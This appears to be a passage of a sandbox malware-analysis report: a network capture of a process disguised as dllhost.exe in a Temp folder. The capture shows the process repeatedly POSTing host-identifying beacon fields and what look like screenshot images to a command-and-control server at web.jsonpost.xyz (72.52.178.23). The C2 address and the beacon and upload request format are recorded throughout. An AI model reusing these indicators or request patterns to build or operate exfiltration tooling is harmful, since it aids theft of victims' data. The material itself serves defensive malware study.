Nov 29, 2024 01:52:51.006237984 CET	6180	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:51.126429081 CET	2472	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS
Nov 29, 2024 01:52:51.126463890 CET	2472	OUT	Data Raw: 48 d2 29 c1 21 77 6d 0b 90 70 0a 93 8e f9 e6 b6 2e a3 8e 2d 6a f2 d6 de e6 d1 d5 75 28 ec 44 29 33 b3 40 d2 13 e5 ef 24 63 9c 1e 85 b1 d0 e0 f1 59 17 d0 de dd d8 cf 6f 25 95 93 dc 4c 81 1e f7 e7 59 1c 0e ec 03 6c 2d 8e 37 6d cf 7c e7 9a ae 6d b5 Data Ascii: H)!wmp.-ju(D)3@$cYo%LYl-7m\|m\]jj2ob\|w,r:9qqqk=WsyfOknl%G7"($rFml1\\C#32Ac]ic8bmlen(`($I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49801	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:51.484558105 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49802	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:52.339449883 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0c493e27f64201eb17b9a0de8f16fea0 Host: web.jsonpost.xyz Content-Length: 98257 Cache-Control: no-cache
Nov 29, 2024 01:52:52.339513063 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 63 34 39 33 65 32 37 66 36 34 32 30 31 65 62 31 37 62 39 61 30 64 65 38 66 31 36 66 65 61 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0c493e27f64201eb17b9a0de8f16fea0Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:52.339584112 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:52.339601040 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:52.459805965 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:52.460139990 CET	9888	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:52.460253954 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:52.460386038 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:52:52.579907894 CET	2472	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS
Nov 29, 2024 01:52:52.579922915 CET	2472	OUT	Data Raw: 48 d2 29 c1 21 77 6d 0b 90 70 0a 93 8e f9 e6 b6 2e a3 8e 2d 6a f2 d6 de e6 d1 d5 75 28 ec 44 29 33 b3 40 d2 13 e5 ef 24 63 9c 1e 85 b1 d0 e0 f1 59 17 d0 de dd d8 cf 6f 25 95 93 dc 4c 81 1e f7 e7 59 1c 0e ec 03 6c 2d 8e 37 6d cf 7c e7 9a ae 6d b5 Data Ascii: H)!wmp.-ju(D)3@$cYo%LYl-7m\|m\]jj2ob\|w,r:9qqqk=WsyfOknl%G7"($rFml1\\C#32Ac]ic8bmlen(`($I
Nov 29, 2024 01:52:52.579969883 CET	2472	OUT	Data Raw: 1d 09 af 3b db 62 7f e7 e3 ff 00 c0 bf e0 9e c7 d5 70 7f f3 e9 7f e0 3f f0 0f 2f d4 74 eb 8d 32 ed ad ae 17 0c bd 08 e8 c3 d4 55 4a ed bc 51 02 cd e1 9b 2d 4c 5d 4f 32 ce 63 68 c4 c9 18 2a ae a5 bf 84 75 e9 df 15 c4 d7 d1 e0 71 12 af 4a f3 5a a7 Data Ascii: ;bp?/t2UJQ-L]O2ch*uqJZcs\$0iu((JZ(QE%QEQELQEQEQEJ(@)(QAQECEPIKI%-%;QEQIK@QEE0(%-(0J(J)))i(-%R)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49803	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:52.905103922 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49804	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:53.901676893 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----88c41d18d04efae2b058311875d35af8 Host: web.jsonpost.xyz Content-Length: 99423 Cache-Control: no-cache
Nov 29, 2024 01:52:53.901699066 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 38 63 34 31 64 31 38 64 30 34 65 66 61 65 32 62 30 35 38 33 31 31 38 37 35 64 33 35 61 66 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------88c41d18d04efae2b058311875d35af8Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:53.901760101 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:53.901781082 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:54.024043083 CET	9888	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:54.024070978 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:54.024084091 CET	6180	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:54.024105072 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:52:54.144323111 CET	4944	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS
Nov 29, 2024 01:52:54.144408941 CET	2472	OUT	Data Raw: 1d 09 af 3b db 62 7f e7 e3 ff 00 c0 bf e0 9e c7 d5 70 7f f3 e9 7f e0 3f f0 0f 2f d4 74 eb 8d 32 ed ad ae 17 0c bd 08 e8 c3 d4 55 4a ed bc 51 02 cd e1 9b 2d 4c 5d 4f 32 ce 63 68 c4 c9 18 2a ae a5 bf 84 75 e9 df 15 c4 d7 d1 e0 71 12 af 4a f3 5a a7 Data Ascii: ;bp?/t2UJQ-L]O2ch*uqJZcs\$0iu((JZ(QE%QEQELQEQEQEJ(@)(QAQECEPIKI%-%;QEQIK@QEE0(%-(0J(J)))i(-%R)
Nov 29, 2024 01:52:54.144428968 CET	2472	OUT	Data Raw: 18 1e f5 f1 d4 f2 0a f4 6b cd c5 a7 17 b3 fd 3d 4f b9 8f 11 e1 a7 46 1c e9 a9 75 5f af a7 e2 7a 5d cb 28 8a 72 c4 60 48 b9 cf 6f bb 55 35 d6 56 f0 de a0 54 82 3c 86 e4 7d 2b 93 b8 f1 9c 73 68 b7 10 c1 1c d6 d7 ae 55 91 8b f9 8b 90 57 3c 9e 7a 0a Data Ascii: k=OFu_z](r`HoU5VT<}+shUW<z`~e~e&fN+;8'{WQE\|:U\k!u<N1czaFurA]Q]QQCG'T`g\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49806	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:54.374226093 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49808	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:55.377326965 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:55.377355099 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:55.377420902 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:55.377444983 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:55.497634888 CET	6180	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:55.497662067 CET	3708	OUT	Data Raw: e8 00 ee 6a e2 b0 61 90 7a 1c 1a f5 70 b4 e7 4d 35 52 57 6d dc f1 31 b5 a9 d6 6a 54 a1 ca 92 b0 54 37 4f b2 d9 dc 82 40 c1 20 75 23 3c d4 d4 10 08 c1 19 06 ba 9a ba b1 c5 17 66 99 14 d6 9a 84 1a c6 ad ae dd ad c3 e9 63 ed 0e f7 58 26 dd ed 0a 90 Data Ascii: jazpM5RWm1jTT7O@ u#<fcX&UBp01zUOiR>mY\82ON@LK{{K`.FGY$-GyYU{$Fmv";rOuqglg[Gresdju$Gk'6
Nov 29, 2024 01:52:55.497730970 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:55.497773886 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:55.497803926 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:55.497914076 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:52:55.617830992 CET	7416	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49809	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:56.008167028 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49810	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:56.966182947 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:56.966233969 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:56.966339111 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:56.966414928 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:57.086420059 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
